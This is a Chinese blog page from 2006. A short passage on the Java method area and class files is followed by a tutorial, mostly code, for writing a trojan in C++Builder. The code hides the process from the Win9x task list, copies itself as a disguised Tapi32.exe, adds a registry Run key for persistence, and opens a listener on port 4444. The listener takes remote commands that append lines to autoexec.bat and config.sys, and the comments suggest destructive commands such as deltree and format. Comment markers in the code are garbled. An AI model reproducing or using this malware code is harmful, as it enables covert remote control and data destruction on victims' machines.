方法區與傳統語言中的編譯后代碼或是Unix進程中的正文段類似。它保存方法代碼(編譯后的java代碼)和符號表。在當前的Java實現中,方法代碼不包括在無用單元收集堆中,但計劃在將來的版本中實現。每個類文件包含了一個Java類或一個Java界面的編譯后的代碼。可以說類文件是Java語言的執行代碼文件。為了保證類文件的平臺無關性,Java虛擬機規范中對類文件的格式也作了詳細的說明。其具體細節請參考Sun公司的Java虛擬機規范。
posted @
2006-09-16 11:03 一縷青煙 閱讀(148) |
評論 (0) |
編輯 收藏
特洛依木馬這個名詞大家應該不陌生,自從98年“死牛崇拜”黑客小組公布Back Orifice以來,木馬猶如平地上的驚雷, 使在Dos——Windows時代中長大的中國網民從五彩繽紛的網絡之夢中驚醒,終于認識到的網絡也有它邪惡的一面,一時間人心惶惶。
我那時在《電腦報》上看到一篇文章,大意是一個菜鳥被人用BO控制了,嚇得整天吃不下飯、睡不著覺、上不了網,到處求救!要知道,木馬(Trojan)的歷史是很悠久的:早在AT&T Unix和BSD Unix十分盛行的年代,木馬是由一些玩程式(主要是C)水平很高的年輕人(主要是老美)用C或Shell語言編寫的,基本是用來竊取登陸主機的口令,以取得更高的權限。那時木馬的主要方法是誘騙——先修改你的.profile文件,植入木馬;當你登陸時將你敲入的口令字符存入一個文件,用Email的形式發到攻擊者的郵箱里。國內的年輕人大都是在盜版Dos的熏陶下長大的,對網絡可以說很陌生。直到Win9x橫空出世,尤其是WinNt的普及,大大推動了網絡事業的發展的時候,BO這個用三年后的眼光看起來有點簡單甚至可以說是簡陋的木馬(甚至在Win9x的“關閉程序”對話框可以看到進程)給了當時中國人極大的震撼,它在中國的網絡安全方面可以說是一個劃時代的軟件。
自己編寫木馬,聽起來很Cool是不是?!木馬一定是由兩部分組成——服務器程序(Server)和客戶端程序(Client),服務器負責打開攻擊的道路,就像一個內奸特務;客戶端負責攻擊目標,兩者需要一定的網絡協議來進行通訊(一般是TCP/IP協議)。為了讓大家更好的了解木馬攻擊技術,破除木馬的神秘感,我就來粗略講一講編寫木馬的技術并順便編寫一個例子木馬,使大家能更好地防范和查殺各種已知和未知的木馬。
首先是編程工具的選擇。目前流行的開發工具有C++Builder、VC、VB和Delphi,這里我們選用C++Builder(以下簡稱BCB);VC雖然好,但GUI設計太復雜,為了更好地突出我的例子,集中注意力在木馬的基本原理上,我們選用可視化的BCB;Delphi也不錯,但缺陷是不能繼承已有的資源(如“死牛崇拜”黑客小組公布的BO2000源代碼,是VC編寫的,網上俯拾皆是);VB嘛,談都不談——難道你還給受害者傳一個1兆多的動態鏈接庫——Msvbvm60.dll嗎?
啟動C++Builder 5.0企業版,新建一個工程,添加三個VCL控件:一個是Internet頁中的Server Socket,另兩個是Fastnet頁中的NMFTP和NMSMTP。Server Socket的功能是用來使本程序變成一個服務器程序,可以對外服務(對攻擊者敞開大門)。Socket最初是在Unix上出現的,后來微軟將它引入了Windows中(包括Win98和WinNt);后兩個控件的作用是用來使程序具有FTP(File Transfer Protocol文件傳輸協議)和SMTP(Simple Mail Transfer Protocol簡單郵件傳輸協議)功能,大家一看都知道是使軟件具有上傳下載功能和發郵件功能的控件。
Form窗體是可視的,這當然是不可思議的。不光占去了大量的空間(光一個Form就有300K之大),而且使軟件可見,根本沒什么作用。因此實際寫木馬時可以用一些技巧使程序不包含Form,就像Delphi用過程實現的小程序一般只有17K左右那樣。
我們首先應該讓我們的程序能夠隱身。雙擊Form,首先在FormCreate事件中添加可使木馬在Win9x的“關閉程序”對話框中隱藏的代碼。這看起來很神秘,其實說穿了不過是一種被稱之為Service的后臺進程,它可以運行在較高的優先級下,可以說是非常靠近系統核心的設備驅動程序中的那一種。因此,只要將我們的程序在進程數據庫中用RegisterServiceProcess()函數注冊成服務進程(Service Process)就可以了。不過該函數的聲明在Borland預先打包的頭文件中沒有,那么我們只好自己來聲明這個位于KERNEL32.DLL中的鳥函數了。
首先判斷目標機的操作系統是Win9x還是WinNt:
{
DWORD dwVersion = GetVersion();
// 得到操作系統的版本號
if (dwVersion >= 0x80000000)
// 操作系統是Win9x,不是WinNt
{
typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
//定義RegisterServiceProcess()函數的原型
HINSTANCE hDLL;
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
hDLL = LoadLibrary("KERNEL32");
//加載RegisterServiceProcess()函數所在的動態鏈接庫KERNEL32.DLL
lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");
//得到RegisterServiceProcess()函數的地址
lpRegisterServiceProcess(GetCurrentProcessId(),1);
//執行RegisterServiceProcess()函數,隱藏本進程
FreeLibrary(hDLL);
//卸載動態鏈接庫
}
}
這樣就終于可以隱身了(害我敲了這么多代碼!)。為什么要判斷操作系統呢?因為WinNt中的進程管理器可以對當前進程一覽無余,因此沒必要在WinNt下也使用以上代碼(不過你可以使用其他的方法,這個留到后面再講)。
接著再將自己拷貝一份到%System%目錄下,例如:C:\Windows\System,并修改注冊表,以便啟動時自動加載:
{
char TempPath[MAX_PATH];
//定義一個變量
GetSystemDirectory(TempPath ,MAX_PATH);
//TempPath是system目錄緩沖區的地址,MAX_PATH是緩沖區的大小,得到目標機的System目錄路徑
SystemPath=AnsiString(TempPath);
//格式化TempPath字符串,使之成為能供編譯器使用的樣式
CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE);
//將自己拷貝到%System%目錄下,并改名為Tapi32.exe,偽裝起來
Registry=new TRegistry;
//定義一個TRegistry對象,準備修改注冊表,這一步必不可少
Registry->RootKey=HKEY_LOCAL_MACHINE;
//設置主鍵為HKEY_LOCAL_MACHINE
Registry->OpenKey("Software\\Microsoft\\Windows\\
CurrentVersion\\Run",TRUE);
//打開鍵值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就創建之
try
{
//如果以下語句發生異常,跳至catch,以避免程序崩潰
if(Registry->ReadString("crossbow")!=SystemPath+"\\Tapi32.exe")
Registry->WriteString("crossbow",SystemPath+"\\Tapi32.exe");
//查找是否有“crossbow”字樣的鍵值,并且是否為拷貝的目錄%System%+Tapi32.exe
//如果不是,就寫入以上鍵值和內容
}
catch(...)
{
//如果有錯誤,什么也不做
}
}
好,FormCreate過程完成了,這樣每次啟動都可以自動加載Tapi32.exe,并且在“關閉程序”對話框中看不見本進程了,木馬的雛形初現。
接著選中ServerSocket控件,在左邊的Object Inspector中將Active改為true,這樣程序一啟動就打開特定端口,處于服務器工作狀態。再將Port填入4444,這是木馬的端口號,當然你也可以用別的。但是你要注意不要用1024以下的低端端口,因為這樣不但可能會與基本網絡協議使用的端口相沖突,而且很容易被發覺,因此盡量使用1024以上的高端端口(不過也有這樣一種技術,它故意使用特定端口,因為如果引起沖突,Windows也不會報錯 ^_^)。你可以看一看TNMFTP控件使用的端口,是21號端口,這是FTP協議的專用控制端口(FTP Control Port);同理TNMSMTP的25號端口也是SMTP協議的專用端口。
再選中ServerSocket控件,點擊Events頁,雙擊OnClientRead事件,敲入以下代碼:
{
FILE *fp=NULL;
char * content;
int times_of_try;
char TempFile[MAX_PATH];
file://定/義了一堆待會兒要用到的變量
sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str());
file://在%System%下/建立一個文本文件Win369.bat,作為臨時文件使用
AnsiString temp=Socket->ReceiveText();
file://接/收客戶端(攻擊者,也就是你自己)傳來的數據
}
好,大門敞開了!接著就是修改目標機的各種配置了!^_^ 首先我們來修改Autoexec.bat和Config.sys吧:
{
if(temp.SubString(0,9)=="edit conf")
file://如/果接受到的字符串的前9個字符是“edit conf”
{
int number=temp.Length();
file://得/到字符串的長度
int file_name=atoi((temp.SubString(11,1)).c_str());
file://將/第11個字符轉換成integer型,存入file_name變量
file://為/什么要取第11個字符,因為第10個字符是空格字符
content=(temp.SubString(12,number-11)+'\n').c_str();
file://余/下的字符串將被作為寫入的內容寫入目標文件
FILE *fp=NULL;
char filename[20];
chmod("c:\\autoexec.bat",S_IREAD|S_IWRITE);
chmod("c:\\config.sys",S_IREAD|S_IWRITE);
file://將/兩個目標文件的屬性改為可讀可寫
if(file_name==1)
sprintf(filename,"%s","c:\\autoexec.bat");
file://如/果第11個字符是1,就把Autoexec.bat格式化
else if(file_name==2)
sprintf(filename,"%s","c:\\config.sys");
file://如/果第11個字符是1,就把Config.sys格式化
times_of_try=0;
file://定/義計數器
while(fp==NULL)
{
file://如/果指針是空
fp=fopen(filename,"a+");
file://如/果文件不存在,創建之;如果存在,準備在其后添加
file://如/果出錯,文件指針為空,這樣就會重復
times_of_try=times_of_try+1;
file://計/數器加1
if(times_of_try>100)
{
file://如/果已經試了100次了,仍未成功
Socket->SendText("Fail By Open File");
file://就/發回“Fail By Open File”的錯誤信息
goto END;
file://跳/至END處
}
}
fwrite(content,sizeof(char),strlen(content),fp);
file://寫/入添加的語句,例如deltree/y C:或者format/q/autotest C:,夠毒吧?!
fclose(fp);
file://寫/完后關閉目標文件
Socket->SendText("Sucess");
file://然/后發回“Success”的成功信息
}
}
你現在可以通過網絡來察看目標機上的這兩個文件了,并且還可以向里面隨意添加任何命令。
posted @
2006-09-15 08:59 一縷青煙 閱讀(203) |
評論 (0) |
編輯 收藏